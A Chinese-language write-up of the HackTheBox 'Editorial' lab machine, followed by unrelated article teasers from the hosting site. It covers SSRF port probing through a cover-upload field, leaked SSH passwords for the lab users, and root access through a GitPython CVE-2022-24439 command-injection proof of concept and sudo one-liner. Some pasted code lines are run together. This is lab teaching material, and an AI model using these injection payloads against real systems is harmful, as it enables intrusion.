htb_Editorial

hack the book Editorial
在这里插入图片描述

端口扫描

80 22在这里插入图片描述

目录扫描
/upload
在这里插入图片描述

是一个上传book information的页面
其中最顶上有一个可以上传书本封面的地方,可以从本地上传,也可以从远程下载
这里可能涉及ssrf和本地文件上传,逐一尝试
在这里插入图片描述

随便上传一个图片文件,点击预览,最前面那个地方出现我们上传的图片
在这里插入图片描述

右键访问图片地址,直接就跳转到下载了
在这里插入图片描述

后面尝试上传shell文件,文件上传后被重命名,也没有找到利用方法
尝试远程文件下载,抓包
在这里插入图片描述
在这里插入图片描述

修改bookurl,包含http://127.0.0.1
在这里插入图片描述

ssrf的利用最常用的就是端口发现和本地文件探查,先试试最简单的端口发现
爆破端口
在这里插入图片描述
在这里插入图片描述

发现5000端口的消息长度不一样

在这里插入图片描述

回显一个地址
在这里插入图片描述

因为刚刚的包被我删掉了,重新抓包再修改url查看该目录的时候,发现回显404(这里没截图)

再重新访问5000端口,发现回显地址改变,很大可能该地址会有时间或者访问次数限制,隔一段时间会更新
在这里插入图片描述

于是直接抓post(upload-cover)和get两个包,发到Repeater
先访问5000端口,获得最新地址
在这里插入图片描述

再快速复制到get数据包的url里发送,果然有回显了
在这里插入图片描述
信息泄露

里面提到几个url地址
在这里插入图片描述
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

继续使用ssrf进行本地文件探查

又回显一个地址

在这里插入图片描述
快速访问

泄露出一个用户名密码
在这里插入图片描述
Username: dev

Password: dev080217_devAPI!@

开放了22端口,ssh登录
在这里插入图片描述

用户中还有一个prod
在这里插入图片描述

dev用户没有提权权限,大概率要移动到prod用户
在这里插入图片描述

用户目录下有一个隐藏的.git目录
查看后发现logs目录下的HEAD

在 Git 中,每个分支都有一个指向最新提交的指针。当我们进行提交操作时,HEAD
会自动指向最新提交,并将分支的指针也更新到最新提交。换句话说,HEAD 在每次提交后都会随之移动。

HEAD 指向最新的提交时,我们可以使用 git log 命令查看提交历史记录,或使用 git show HEAD
命令查看最新提交的详细信息。
在这里插入图片描述
git show 1e84a036b2f33c59e2390730699a488c65643d28

回车回车

发现一个泄露的账号密码,正好是prod
在这里插入图片描述
Username: prod

Password: 080217_Producti0n_2023!@

ssh登录prod
在这里插入图片描述

该用户有sudo -l权限
在这里插入图片描述

prod对目录和文件都没有修改权限,只能从py文件功能下手
在这里插入图片描述

#!/usr/bin/python3import os
import sys
from git import Repoos.chdir('/opt/internal_apps/clone_changes')
//接受一个url参数,初始化git仓库
url_to_clone = sys.argv[1]r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

查看git版本

pip3 list
在这里插入图片描述
版本3.1.29有cve,远程命令执行漏洞
CVE-2022-24439

poc

from git import Repo
r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

修改poc,直接读取root.txt,

直接读取文件无回显
在这里插入图片描述
尝试将读出来的文件写入/tmp目录

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root"

在这里插入图片描述
还可以反弹shell获取root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/30514.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

idea搜索只显示100条、如何修改idea搜索的条数

文章目录 一、老版本的IDEA(2021年之前的版本)二、新版本的IDEA(2021年及之后的版本)2.1、方式一2.2、方式二 如下图:idea搜索的时候默认只显示100条 要解决IDEA搜索只显示100条的问题,可以通过修改搜索结…

腾讯云入选Gartner®边缘分发平台代表厂商,为企业数字化升级保驾护航

刚刚获悉,国际信息技术研究和分析机构Gartner正式发布《Market Guide for Edge Distribution Platforms》报告,腾讯云凭借边缘安全加速平台EdgeOne成功入选代表厂商。相信这意味着腾讯云EdgeOne领先的技术、产品和实践能力得到了认可。 万物互联时代&am…

【UML用户指南】-19-对基本行为建模-用例图

目录 1、组成结构 2、表示法 3、一般用法 3.1、对主题的语境建模 3.2、对主题的需求建模 4、常用建模技术 4.1、对系统的语境建模 4.1.1、设计过程 4.2、对系统的需求建模 4.2.1、设计过程: 5、正向工程 UML 中的用例图是对系统的动态方面建模的 5 种图之…

进入docker容器内部操作mysql数据库

文章目录 1、查询docker容器2、进入mysql容器内部3、连接mysql数据库4、查询mysql所有的数据库5、使用某个数据库6、展示数据库中所有的表7、查询某张表8、断开mysql9、退出mysql容器 1、查询docker容器 [rootlocalhost ~]# docker ps CONTAINER ID IMAGE …

Java 序列化与反序列化

Java 序列化是一种将对象的状态转换为字节流的机制,以便可以将该对象的状态保存到文件、数据库或通过网络传输。在反序列化过程中,这些字节流可以被重新转换为对象。序列化主要用于以下几种情况: 持久化存储:将对象的状态保存到文…

商城小程序:颠覆传统电商,打造全新商业生态

在数字化浪潮的推动下,网购行业呈现多元化繁荣发展态势,出现了琳琅满目的商品应用小程序,但市面上的商城小程序基本属于通用型,无论是商城界面展示和基本功能,都不能满足个性化和商品推广需求,阻碍了商品的…

测试cudaStream队列的深度

测试cudaStream队列的深度 一.代码二.编译运行[得出队列深度为512] 以下代码片段用于测试cudaStream队列的深度 方法: 主线程一直发任务,启一个线程cudaEventQuery查询已完成的任务,二个计数器的值相减 一.代码 #include <iostream> #include <thread> #include …

linux下cuda安装-ubuntu22.04安装cuda11.8(cuda+cudnn)

原文链接&#xff1a;linux下cuda安装-ubuntu22.04安装cuda11.8(cudacudnn) 导言 cuda是nvidia提供在N卡上实现并行计算的工具包&#xff0c;cudnn是cuda的运行时库&#xff0c;通过cuda提供的内核函数能够高效的在N卡上跑密集计算程序。 本文在N卡机器上安装好了相应的驱动后…

Building wheels for collected packages: mmcv, mmcv-full 卡住

安装 anime-face-detector 的时候遇到一个问题&#xff1a;Installation takes forever #1386&#xff1a;在构建mmcv-full时卡住&#xff0c;这里分享下解决方法&#xff08;安装 mmcv 同理&#xff0c;将下面命令中的 mmcv-full 替换成 mmcv&#xff09; 具体表现如下&#x…

学习笔记——交通安全分析06

目录 前言 当天学习笔记整理 交通行为、心理与安全 结束语 前言 #随着上一轮SPSS学习完成之后&#xff0c;本人又开始了新教材《交通安全分析》的学习 #整理过程不易&#xff0c;喜欢UP就点个免费的关注趴 #本期内容接上一期05笔记 当天学习笔记整理 交通行为、心理与…

基于Java技术的家乡特色推荐系统

开头语&#xff1a;你好呀&#xff0c;我是计算机学姐码农小野&#xff01;如果有相关需求&#xff0c;可以私信联系我。 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;Java技术&#xff0c;SpringBoot框架 工具&#xff1a;Eclipse&#xff0c;Navi…

强大的多数据库客户端工具:DataGrip【送源码】

今天给大家带来的工具是&#xff1a;DataGrip 介绍 DataGrip是jetbrains开发的一款关系数据库和 NoSQL 数据库的多数据库客户端工具&#xff0c;可以30天免费试用&#xff0c;后续使用需要购买。 DataGrip还是一款强大的跨平台工具&#xff0c;支持多种操作系统&#xff0c;比…

这个方法在Arcmap10.8里打得开adf文件

ArcMap如何打开.adf图层文件并将其文件转换为shp文件_adf文件怎么在arcmap里打开-CSDN博客像adf和它的info应该放在C盘&#xff0c;然后路径命名应该符合要求。 adf科普&#xff1a;ArcMap如何打开.adf图层文件并将其文件转换为shp文件_adf文件怎么在arcmap里打开-CSDN博客

鸿蒙开发组件:【DataAbility的生命周期】

DataAbility的生命周期 应用开发者可以根据业务场景实现data.js/data.ets中的生命周期相关接口。DataAbility生命周期接口说明见下表。 表1 DataAbility相关生命周期API功能介绍 接口名描述onInitialized?(info: AbilityInfo): void在Ability初始化调用&#xff0c;通过此回…

优化Java代码中的多层if...else结构

在软件开发中&#xff0c;尤其是处理各种逻辑判断时&#xff0c;多层嵌套的if...else语句几乎是无法避免的。然而&#xff0c;随着业务逻辑的复杂度增加&#xff0c;过度使用if...else会导致代码难以阅读、维护困难且容易出错。本文将探讨几种有效的方法来优化Java代码中的这类…

英伟达市值飙升,超越苹果微软并超过英国股市总市值

原标题&#xff1a;英伟达超越苹果微软市值&#xff0c;成为全球市值最高的企业 易采游戏网6月19日消息&#xff1a;近日&#xff0c;美国科技巨头英伟达市值的迅速增长引起了市场广泛关注。据最新数据显示&#xff0c;截至本周二收盘&#xff0c;英伟达的市场资本化已达到3.34…

基于Redis提高查询性能(保持数据一致性)

Redis实战篇 | Kyles Blog (cyborg2077.github.io) 目录 背景 商户查询缓存(根据ID查询&#xff09; 根据店铺类型查询&#xff08;List型&#xff09; 缓存更新策略&#xff08;保证数据一致性&#xff09; 案例&#xff08;利用缓存更新策略&#xff09; 背景 起初客户端…

【pytorch01】简单回归问题

1.梯度下降&#xff08;Gradient Descent&#xff09; y x 2 ∗ s i n ( x ) yx^{2}*sin(x) yx2∗sin(x) y ′ 2 ∗ x ∗ s i n ( x ) x 2 ∗ c o s ( x ) y2*x*sin(x) x^{2}*cos(x) y′2∗x∗sin(x)x2∗cos(x) 求最小值要求导 梯度下降定义&#xff1a;梯度下降要迭代计…

互联网广告相关概念

互联网广告概念涉及多个关键指标和定价模式&#xff0c;它们帮助广告主和广告平台衡量广告效果、优化广告投放策略&#xff0c;并计算广告成本。以下是互联网广告中一些核心概念的简要概述&#xff1a; 1.ROI (投资回报率) 衡量广告投资的效益&#xff0c;计算公式为&#xff…

【决战欧洲杯巅峰】AI模型预测[走地数据]初步准备工作

数据准备 首先&#xff0c;我们需要收集一些与欧洲杯比赛相关的历史数据。这些数据可能包括球队的历史战绩、球员的能力评分、比赛场地信息、历史交锋记录等。这些数据可以从公开来源获取&#xff0c;并进行适当的预处理和清洗。 特征提取 接下来&#xff0c;我们需要从收集…